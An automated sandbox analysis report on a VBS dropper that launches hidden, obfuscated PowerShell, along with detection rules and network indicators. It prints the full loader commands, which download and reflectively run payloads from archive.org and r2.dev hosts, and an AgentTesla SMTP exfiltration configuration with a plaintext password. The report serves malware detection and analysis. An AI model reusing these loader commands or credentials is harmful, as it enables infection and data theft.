oJysnRnlMVkFJRnlMKTtEJysnTGptZXRob2QnKycuSW4nKyd2b2tlKERMJysnam51bGwsIFtvYmplY3RbXV1AKEZ5JysnTHR4dC5pbGltbScrJy92ZWQnKycuMnIuMzliMzQ1MzAnKycyYTA3NScrJ2IxYmMnKycwJysnZDQnKyc1YjYzJysnMmViOWVlNjItYnVwJysnLy86cycrJ3B0JysndCcrJ2gnKydGJysneUwgJysnLCBGeUwnKydkZXNhdGl2YWQnKydvRnknKydMICwnKycgRicrJ3lMZGVzYXRpdmEnKydkb0Z5TCcrJyAsIEYnKyd5TGRlcycrJ2F0aScrJ3ZhZG9GJysneScrJ0wsJysnRnknKydMUmVnQXNtRnlMLEZ5JysnTEZ5TCkpJykucmVQbEFDRSgnRExqJywnJCcpLnJlUGxBQ0UoJ0Z5TCcsW1N0UmluZ11bQ0hhcl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoIChbU1RySW5HXSR2RVJib1NFUHJFZmVSRU5DRSlbMSwzXSsneCctam9JbicnKSggKCdETCcrJ2p1cmwnKycgPScrJyBGeUwnKydodHRwczonKycvL2lhNicrJzAwJysnMTAnKycwJysnLnVzLmFyY2hpdmUub3JnJysnLzInKyc0JysnL2l0ZW1zL2RlJysndGFoLW5vdGUtdi9EZXQnKydhJysnaE5vdGUnKydWJysnLnR4dCcrJ0Z5TDtETGpiJysnYXNlNicrJzRDb250ZW4nKyd0ID0nKycgJysnKCcrJ05ldy1PYmplY3QgJysnU3lzJysndGVtJysnLk5ldC4nKydXZScrJ2JDbGknKydlJysnbnQnKycpLkRvJysndycrJ24nKydsbycrJ2FkU3RyJysnaW5nKERMaicrJ3VybCk7JysnRExqYicrJ2luYScrJ3J5Q29udGVudCAnKyc9IFtTeXMnKyd0ZW0uQ29udmVydF06JysnOkYnKydyb21CYXNlNjRTdHInKydpbicrJ2coRCcrJ0xqJysnYmEnKydzZTY0Q29udGVudCknKyc7REwnKydqYXMnKydzZScrJ20nKydibHkgPSBbJysnUmVmbGVjJysndCcrJ2knKydvbicrJy5BJysncycrJ3NlbScrJ2JsJysneScrJ10nKyc6OkwnKydvJysnYWQoRCcrJ0xqYmluYXInKyd5Q29uJysndGVudCcrJyk7RExqdCcrJ3knKydwJysnZSA9IERMamFzcycrJ2VtYmx5LkdldFQnKyd5cGUnKycoRnlMUnVuUEUnKycuSG8nKydtJysnZUZ5TCk7RExqJysnbScrJ2UnKyd0aG8nKydkID0gJysnRExqJysndCcrJ3knKydwZScrJy4nKydHZScrJ3RNJysnZXRob2QoJysnRnlMVkFJRnlMKTtEJysnTGptZXRob2QnKycuSW4nKyd2b2tlKERMJysnam51bGwsIFtvYmplY3RbXV1AKEZ5JysnTHR4dC5pbGltbScrJy92ZWQnKycuMnIuMzliMzQ1MzAnKycyYTA3NScrJ2IxYmMnKycwJysnZDQnKyc1YjYzJysnMmViOWVlNjItYnVwJysnLy86cycrJ3B0JysndCcrJ2gnKydGJysneUwgJysnLCBGeUwnKydkZXNhdGl2YWQnKydvRnknKydM

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PofaABvatI.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PofaABvatI.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PofaABvatI.vbs", ProcessId: 2216, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoIChbU1RySW5HXSR2RVJib1NFUHJFZmVSRU5DRSlbMSwzXSsneCctam9JbicnKSggKCdETCcrJ2p1cmwnKycgPScrJyBGeUwnKydodHRwczonKycvL2lhNicrJzAwJysnMTAnKycwJysnLnVzLmFyY2hpdmUub3JnJysnLzInKyc0JysnL2l0ZW1zL2RlJysndGFoLW5vdGUtdi9EZXQnKydhJysnaE5vdGUnKydWJysnLnR4dCcrJ0Z5TDtETGpiJysnYXNlNicrJzRDb250ZW4nKyd0ID0nKycgJysnKCcrJ05ldy1PYmplY3QgJysnU3lzJysndGVtJysnLk5ldC4nKydXZScrJ2JDbGknKydlJysnbnQnKycpLkRvJysndycrJ24nKydsbycrJ2FkU3RyJysnaW5nKERMaicrJ3VybCk7JysnRExqYicrJ2luYScrJ3J5Q29udGVudCAnKyc9IFtTeXMnKyd0ZW0uQ29udmVydF06JysnOkYnKydyb21CYXNlNjRTdHInKydpbicrJ2coRCcrJ0xqJysnYmEnKydzZTY0Q29udGVudCknKyc7REwnKydqYXMnKydzZScrJ20nKydibHkgPSBbJysnUmVmbGVjJysndCcrJ2knKydvbicrJy5BJysncycrJ3NlbScrJ2JsJysneScrJ10nKyc6OkwnKydvJysnYWQoRCcrJ0xqYmluYXInKyd5Q29uJysndGVudCcrJyk7RExqdCcrJ3knKydwJysnZSA9IERMamFzcycrJ2VtYmx5LkdldFQnKyd5cGUnKycoRnlMUnVuUEUnKycuSG8nKydtJysnZUZ5TCk7RExqJysnbScrJ2UnKyd0aG8nKydkID0gJysnRExqJysndCcrJ3knKydwZScrJy4nKydHZScrJ3RNJysnZXRob2QoJysnRnlMVkFJRnlMKTtEJysnTGptZXRob2QnKycuSW4nKyd2b2tlKERMJysnam51bGwsIFtvYmplY3RbXV1AKEZ5JysnTHR4dC5pbGltbScrJy92ZWQnKycuMnIuMzliMzQ1MzAnKycyYTA3NScrJ2IxYmMnKycwJysnZDQnKyc1YjYzJysnMmViOWVlNjItYnVwJysnLy86cycrJ3B0JysndCcrJ2gnKydGJysneUwgJysnLCBGeUwnKydkZXNhdGl2YWQnKydvRnknKydMICwnKycgRicrJ3lMZGVzYXRpdmEnKydkb0Z5TCcrJyAsIEYnKyd5TGRlcycrJ2F0aScrJ3ZhZG9GJysneScrJ0wsJysnRnknKydMUmVnQXNtRnlMLEZ5JysnTEZ5TCkpJykucmVQbEFDRSgnRExqJywnJCcpLnJlUGxBQ0UoJ0Z5TCcsW1N0UmluZ11bQ0hhcl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoIChbU1RySW5HXSR2RVJib1NFUHJFZmVSRU5DRSlbMSwzXSsneCctam9JbicnKSggKCdETCcrJ2p1cmwnKycgPScrJyBGeUwnKydodHRwczonKycvL2lhNicrJzAwJysnMTAnKycwJysnLnVzLmFyY2hpdmUub3JnJysnLzInKyc0JysnL2l0ZW1zL2RlJysndGFoLW5vdGUtdi9EZXQnKydhJysnaE5vdGUnKydWJysnLnR4dCcrJ0Z5TDtETGpiJysnYXNlNicrJzRDb250ZW4nKyd0ID0nKycgJysnKCcrJ05ldy1PYmplY3QgJysnU3lzJysndGVtJysnLk5ldC4nKydXZScrJ2JDbGknKydlJysnbnQnKycpLkRvJysndycrJ24nKydsbycrJ2FkU3RyJysnaW5nKERMaicrJ3VybCk7JysnRExqYicrJ2luYScrJ3J5Q29udGVudCAnKyc9IFtTeXMnKyd0ZW0uQ29udmVydF06JysnOkYnKydyb21CYXNlNjRTdHInKydpbicrJ2coRCcrJ0xqJysnYmEnKydzZTY0Q29udGVudCknKyc7REwnKydqYXMnKydzZScrJ20nKydibHkgPSBbJysnUmVmbGVjJysndCcrJ2knKydvbicrJy5BJysncycrJ3NlbScrJ2JsJysneScrJ10nKyc6OkwnKydvJysnYWQoRCcrJ0xqYmluYXInKyd5Q29uJysndGVudCcrJyk7RExqdCcrJ3knKydwJysnZSA9IERMamFzcycrJ2VtYmx5LkdldFQnKyd5cGUnKycoRnlMUnVuUEUnKycuSG8nKydtJysnZUZ5TCk7RExqJysnbScrJ2UnKyd0aG8nKydkID0gJysnRExqJysndCcrJ3knKydwZScrJy4nKydHZScrJ3RNJysnZXRob2QoJysnRnlMVkFJRnlMKTtEJysnTGptZXRob2QnKycuSW4nKyd2b2tlKERMJysnam51bGwsIFtvYmplY3RbXV1AKEZ5JysnTHR4dC5pbGltbScrJy92ZWQnKycuMnIuMzliMzQ1MzAnKycyYTA3NScrJ2IxYmMnKycwJysnZDQnKyc1YjYzJysnMmViOWVlNjItYnVwJysnLy86cycrJ3B0JysndCcrJ2gnKydGJysneUwgJysnLCBGeUwnKydkZXNhdGl2YWQnKydvRnknKydM

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( ([STrInG]$vERboSEPrEfeRENCE)[1,3]+'x'-joIn'')( ('DL'+'jurl'+' ='+' FyL'+'https:'+'//ia6'+'00'+'10'+'0'+'.us.archive.org'+'/2'+'4'+'/items/de'+'tah-note-v/Det'+'a'+'hNote'+'V'+'.txt'+'FyL;DLjb'+'ase6'+'4Conten'+'t ='+' '+'('+'New-Object '+'Sys'+'tem'+'.Net.'+'We'+'bCli'+'e'+'nt'+').Do'+'w'+'n'+'lo'+'adStr'+'ing(DLj'+'url);'+'DLjb'+'ina'+'ryContent '+'= [Sys'+'tem.Convert]:'+':F'+'romBase64Str'+'in'+'g(D'+'Lj'+'ba'+'se64Content)'+';DL'+'jas'+'se'+'m'+'bly = ['+'Reflec'+'t'+'i'+'on'+'.A'+'s'+'sem'+'bl'+'y'+']'+'::L'+'o'+'ad(D'+'Ljbinar'+'yCon'+'tent'+');DLjt'+'y'+'p'+'e = DLjass'+'embly.GetT'+'ype'+'(FyLRunPE'+'.Ho'+'m'+'eFyL);DLj'+'m'+'e'+'tho'+'d = '+'DLj'+'t'+'y'+'pe'+'.'+'Ge'+'tM'+'ethod('+'FyLVAIFyL);D'+'Ljmethod'+'.In'+'voke(DL'+'jnull, [object[]]@(Fy'+'Ltxt.ilimm'+'/ved'+'.2r.39b34530'+'2a075'+'b1bc'+'0'+'d4'+'5b63'+'2eb9ee62-bup'+'//:s'+'pt'+'t'+'h'+'F'+'yL '+', FyL'+'desativad'+'oFy'+'L ,'+' F'+'yLdesativa'+'doFyL'+' , F'+'yLdes'+'ati'+'vadoF'+'y'+'L,'+'Fy'+'LRegAsmFyL,Fy'+'LFyL))').rePlACE('DLj','$').rePlACE('FyL',[StRing][CHar]39) )", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( ([STrInG]$vERboSEPrEfeRENCE)[1,3]+'x'-joIn'')( ('DL'+'jurl'+' ='+' FyL'+'https:'+'//ia6'+'00'+'10'+'0'+'.us.archive.org'+'/2'+'4'+'/items/de'+'tah-note-v/Det'+'a'+'hNote'+'V'+'.txt'+'FyL;DLjb'+'ase6'+'4Conten'+'t ='+' '+'('+'New-Object '+'Sys'+'tem'+'.Net.'+'We'+'bCli'+'e'+'nt'+').Do'+'w'+'n'+'lo'+'adStr'+'ing(DLj'+'url);'+'DLjb'+'ina'+'ryContent '+'= [Sys'+'tem.Convert]:'+':F'+'romBase64Str'+'in'+'g(D'+'Lj'+'ba'+'se64Content)'+';DL'+'jas'+'se'+'m'+'bly = ['+'Reflec'+'t'+'i'+'on'+'.A'+'s'+'sem'+'bl'+'y'+']'+'::L'+'o'+'ad(D'+'Ljbinar'+'yCon'+'tent'+');DLjt'+'y'+'p'+'e = DLjass'+'embly.GetT'+'ype'+'(FyLRunPE'+'.Ho'+'m'+'eFyL);DLj'+'m'+'e'+'tho'+'d = '+'DLj'+'t'+'y'+'pe'+'.'+'Ge'+'tM'+'ethod('+'FyLVAIFyL);D'+'Ljmethod'+'.In'+'voke(DL'+'jnull, [object[]]@(Fy'+'Ltxt.ilimm'+'/ved'+'.2r.39b34530'+'2a075'+'b1bc'+'0'+'d4'+'5b63'+'2eb9ee62-bup'+'//:s'+'pt'+'t'+'h'+'F'+'yL '+', FyL'+'desativad'+'oFy'+'L ,'+' F'+'yLdesativa'+'doFyL'+' , F'+'yLdes'+'ati'+'vadoF'+'y'+'L,'+'Fy'+'LRegAsmFyL,Fy'+'LFyL))').rePlACE('DLj','$').rePlACE('FyL',[StRing][CHar]39) )", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoIChbU1RySW5HXSR2RVJib1NFUHJFZmVSRU5DRSlbMSwzXSsneCctam9JbicnKSggKCdETCcrJ2p1cmwnKycgPScrJyBGeUwnKydodHRwczonKycvL2lhNicrJzAwJysnMTAnKycwJysnLnVzLmFyY2hpdmUub3JnJysnLzInKyc0JysnL2l0ZW1zL2RlJysndGFoLW5vdGUtdi9EZXQnKydhJysnaE5vdGUnK

Suricata Signatures

ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 3 M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T05:22:14.532509+0200	2020425	1	Exploit Kit Activity Detected	162.159.140.237	443	192.168.2.8	49705	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: RegAsm.exe.6264.9.memstrmin

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.detarcoopmedical.com", "Username": "mail@detarcoopmedical.com", "Password": "To$zL%?nhDHN"}

Multi AV Scanner detection for domain / URL

Source: pub-26ee9be236b54d0cb1b570a203543b93.r2.dev	Virustotal: Detection: 15%	Perma Link
Source: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt	Virustotal: Detection: 10%	Perma Link
Source: http://pub-26ee9be236b54d0cb1b570a203543b93.r2.dev	Virustotal: Detection: 15%	Perma Link

Multi AV Scanner detection for submitted file

Source: PofaABvatI.vbs

Virustotal: Detection: 8%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.3% probability

Source: unknown	HTTPS traffic detected: 207.241.227.240:443 -> 192.168.2.8:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.140.237:443 -> 192.168.2.8:49705 version: TLS 1.2

Source:

Binary string: System.Data.Linq.pdb source: powershell.exe, 00000004.00000002.1595867471.000001A064DD0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1572696203.000001A05D8A9000.00000004.00000800.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe	Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Child: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2020425 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 3 M1 : 162.159.140.237:443 -> 192.168.2.8:49705

Source: global traffic	HTTP traffic detected: GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1Host: ia600100.us.archive.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /mmili.txt HTTP/1.1Host: pub-26ee9be236b54d0cb1b570a203543b93.r2.devConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 162.159.140.237 162.159.140.237
Source: Joe Sandbox View	IP Address: 162.159.140.237 162.159.140.237
Source: Joe Sandbox View	IP Address: 207.241.227.240 207.241.227.240

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1Host: ia600100.us.archive.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /mmili.txt HTTP/1.1Host: pub-26ee9be236b54d0cb1b570a203543b93.r2.devConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: ia600100.us.archive.org
Source: global traffic	DNS traffic detected: DNS query: pub-26ee9be236b54d0cb1b570a203543b93.r2.dev

Source: powershell.exe, 00000004.00000002.1557394015.000001A04DF7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ia600100.us.archive.org
Source: powershell.exe, 00000004.00000002.1572696203.000001A05D8A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: powershell.exe, 00000004.00000002.1572696203.000001A05C90C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1557394015.000001A04E252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.1557394015.000001A04E1CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.1557394015.000001A04CCE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pub-26ee9be236b54d0cb1b570a203543b93.r2.dev
Source: wscript.exe, 00000000.00000003.1430184240.00000150A8BE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microsoft.c
Source: powershell.exe, 00000002.00000002.1608428620.000001EBC0C5E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1557394015.000001A04C891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.1557394015.000001A04DFC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000004.00000002.1557394015.000001A04E1CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000004.00000002.1572696203.000001A05D8A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: powershell.exe, 00000002.00000002.1608428620.000001EBC0C32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1608428620.000001EBC0C19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1557394015.000001A04C891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.1557394015.000001A04E252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.1557394015.000001A04E252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.1557394015.000001A04E252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.1557394015.000001A04E1CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.1557394015.000001A04D8BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000004.00000002.1557394015.000001A04DF79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.arX
Source: powershell.exe, 00000004.00000002.1557394015.000001A04D8BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1557394015.000001A04CAB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org
Source: powershell.exe, 00000004.00000002.1557394015.000001A04CAB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
Source: powershell.exe, 00000004.00000002.1557394015.000001A04CAB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtFyL;DLjbase64Content
Source: powershell.exe, 00000004.00000002.1572696203.000001A05C90C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1557394015.000001A04E252000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000004.00000002.1557394015.000001A04DFC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000004.00000002.1557394015.000001A04DFC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: powershell.exe, 00000004.00000002.1557394015.000001A04CCE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pub-26ee9be236b54d0cb1b570a203543b93.r2.dev
Source: powershell.exe, 00000004.00000002.1557394015.000001A04CCE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pub-26ee9be236b54d0cb1b570a203543b93.r2.dev/mmili.txt

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown	HTTPS traffic detected: 207.241.227.240:443 -> 192.168.2.8:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.140.237:443 -> 192.168.2.8:49705 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 2952, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3776, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoIChbU1RySW5HXSR2RVJib1NFUHJFZmVSRU5DRSlbMSwzXSsneCctam9JbicnKSggKCdETCcrJ2p1cmwnKycgPScrJyBGeUwnKydodHRwczonKycvL2lhNicrJzAwJysnMTAnKycwJysnLnVzLmFyY2hpdmUub3JnJysnLzInKyc0JysnL2l0ZW1zL2RlJysndGFoLW5vdGUtdi9EZXQnKydhJysnaE5vdGUnKydWJysnLnR4dCcrJ0Z5TDtETGpiJysnYXNlNicrJzRDb250ZW4nKyd0ID0nKycgJysnKCcrJ05ldy1PYmplY3QgJysnU3lzJysndGVtJysnLk5ldC4nKydXZScrJ2JDbGknKydlJysnbnQnKycpLkRvJysndycrJ24nKydsbycrJ2FkU3RyJysnaW5nKERMaicrJ3VybCk7JysnRExqYicrJ2luYScrJ3J5Q29udGVudCAnKyc9IFtTeXMnKyd0ZW0uQ29udmVydF06JysnOkYnKydyb21CYXNlNjRTdHInKydpbicrJ2coRCcrJ0xqJysnYmEnKydzZTY0Q29udGVudCknKyc7REwnKydqYXMnKydzZScrJ20nKydibHkgPSBbJysnUmVmbGVjJysndCcrJ2knKydvbicrJy5BJysncycrJ3NlbScrJ2JsJysneScrJ10nKyc6OkwnKydvJysnYWQoRCcrJ0xqYmluYXInKyd5Q29uJysndGVudCcrJyk7RExqdCcrJ3knKydwJysnZSA9IERMamFzcycrJ2VtYmx5LkdldFQnKyd5cGUnKycoRnlMUnVuUEUnKycuSG8nKydtJysnZUZ5TCk7RExqJysnbScrJ2UnKyd0aG8nKydkID0gJysnRExqJysndCcrJ3knKydwZScrJy4nKydHZScrJ3RNJysnZXRob2QoJysnRnlMVkFJRnlMKTtEJysnTGptZXRob2QnKycuSW4nKyd2b2tlKERMJysnam51bGwsIFtvYmplY3RbXV1AKEZ5JysnTHR4dC5pbGltbScrJy92ZWQnKycuMnIuMzliMzQ1MzAnKycyYTA3NScrJ2IxYmMnKycwJysnZDQnKyc1YjYzJysnMmViOWVlNjItYnVwJysnLy86cycrJ3B0JysndCcrJ2gnKydGJysneUwgJysnLCBGeUwnKydkZXNhdGl2YWQnKydvRnknKydMICwnKycgRicrJ3lMZGVzYXRpdmEnKydkb0Z5TCcrJyAsIEYnKyd5TGRlcycrJ2F0aScrJ3ZhZG9GJysneScrJ0wsJysnRnknKydMUmVnQXNtRnlMLEZ5JysnTEZ5TCkpJykucmVQbEFDRSgnRExqJywnJCcpLnJlUGxBQ0UoJ0Z5TCcsW1N0UmluZ11bQ0hhcl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoIChbU1RySW5HXSR2RVJib1NFUHJFZmVSRU5DRSlbMSwzXSsneCctam9JbicnKSggKCdETCcrJ2p1cmwnKycgPScrJyBGeUwnKydodHRwczonKycvL2lhNicrJzAwJysnMTAnKycwJysnLnVzLmFyY2hpdmUub3JnJysnLzInKyc0JysnL2l0ZW1zL2RlJysndGFoLW5vdGUtdi9EZXQnKydhJysnaE5vdGUnKydWJysnLnR4dCcrJ0Z5TDtETGpiJysnYXNlNicrJzRDb250ZW4nKyd0ID0nKycgJysnKCcrJ05ldy1PYmplY3QgJysnU3lzJysndGVtJysnLk5ldC4nKydXZScrJ2JDbGknKydlJysnbnQnKycpLkRvJysndycrJ24nKydsbycrJ2FkU3RyJysnaW5nKERMaicrJ3VybCk7JysnRExqYicrJ2luYScrJ3J5Q29udGVudCAnKyc9IFtTeXMnKyd0ZW0uQ29udmVydF06JysnOkYnKydyb21CYXNlNjRTdHInKydpbicrJ2coRCcrJ0xqJysnYmEnKydzZTY0Q29udGVudCknKyc7REwnKydqYXMnKydzZScrJ20nKydibHkgPSBbJysnUmVmbGVjJysndCcrJ2knKydvbicrJy5BJysncycrJ3NlbScrJ2JsJysneScrJ10nKyc6OkwnKydvJysnYWQoRCcrJ0xqYmluYXInKyd5Q29uJysndGVudCcrJyk7RExqdCcrJ3knKydwJysnZSA9IERMamFzcycrJ2VtYmx5LkdldFQnKyd5cGUnKycoRnlMUnVuUEUnKycuSG8nKydtJysnZUZ5TCk7RExqJysnbScrJ2UnKyd0aG8nKydkID0gJysnRExqJysndCcrJ3knKydwZScrJy4nKydHZScrJ3RNJysnZXRob2QoJysnRnlMVkFJRnlMKTtEJysnTGptZXRob2QnKycuSW4nKyd2b2tlKERMJysnam51bGwsIFtvYmplY3RbXV1AKEZ5JysnTHR4dC5pbGltbScrJy92ZWQnKycuMnIuMzliMzQ1MzAnKycyYTA3NScrJ2IxYmMnKycwJysnZDQnKyc1YjYzJysnMmViOWVlNjItYnVwJysnLy86cycrJ3B0JysndCcrJ2gnKydGJysneUwgJysnLCBGeUwnKydkZXNhdGl2YWQnKydvRnknKydMICwnKycgRicrJ3lMZGVzYXRpdmEnKydkb0Z5TCcrJyAsIEYnKyd5TGRlcycrJ2F0aScrJ3ZhZG9GJysneScrJ0wsJysnRnknKydMUmVnQXNtRnlMLEZ5JysnTEZ5TCkpJykucmVQbEFDRSgnRExqJywnJCcpLnJlUGxBQ0UoJ0Z5TCcsW1N0UmluZ11bQ0hhcl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 4_2_00007FFB4B2C0DBD

4_2_00007FFB4B2C0DBD

Source: PofaABvatI.vbs

Initial sample: Strings found which are bigger than 50

Source: Process Memory Space: powershell.exe PID: 2952, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 3776, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.expl.evad.winVBS@16/5@2/2
